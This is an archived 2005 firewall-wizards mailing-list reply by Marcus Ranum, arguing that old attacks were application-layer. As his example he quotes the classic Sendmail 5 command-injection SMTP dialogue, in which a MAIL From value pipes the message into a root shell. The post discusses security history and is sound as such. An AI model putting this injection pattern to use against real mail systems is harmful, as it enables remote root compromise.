Re: [fw-wiz] Application-level Attacks
From: Marcus J. Ranum (mjr_at_ranum.com)
Date: 01/29/05
- Previous message: R. DuFresne: "RE: [fw-wiz] Multiple firewalls from different manufactureres"
- In reply to: Adam Shostack: "Re: [fw-wiz] Application-level Attacks"
- Next in thread: Adam Shostack: "Re: [fw-wiz] Application-level Attacks"
- Reply: Adam Shostack: "Re: [fw-wiz] Application-level Attacks"
- Reply: Frederick M Avolio: "Re: [fw-wiz] Application-level Attacks"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: Adam Shostack <adam@homeport.org>, firewall-wizards@honor.icsalabs.com Date: Sat, 29 Jan 2005 04:15:05 -0500
Adam Shostack wrote:
>I think that older attacks were not application-layer from a business
>perspective
You're talking marketing. WTF is a "business perspective"??? I assume
that means perception, not reality.
RCPT To: fishlips@whitehouse.gov
MAIL From: "| sed '1,/^$/d' | /bin/sh"
is pretty damn application-layer, if I recall correctly. The layer is 7,
the application is Sendmail 5. The shell, as they say, is root.
mjr.
_______________________________________________
firewall-wizards mailing list
firewall-wizards@honor.icsalabs.com
http://honor.icsalabs.com/mailman/listinfo/firewall-wizards
- Previous message: R. DuFresne: "RE: [fw-wiz] Multiple firewalls from different manufactureres"
- In reply to: Adam Shostack: "Re: [fw-wiz] Application-level Attacks"
- Next in thread: Adam Shostack: "Re: [fw-wiz] Application-level Attacks"
- Reply: Adam Shostack: "Re: [fw-wiz] Application-level Attacks"
- Reply: Frederick M Avolio: "Re: [fw-wiz] Application-level Attacks"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|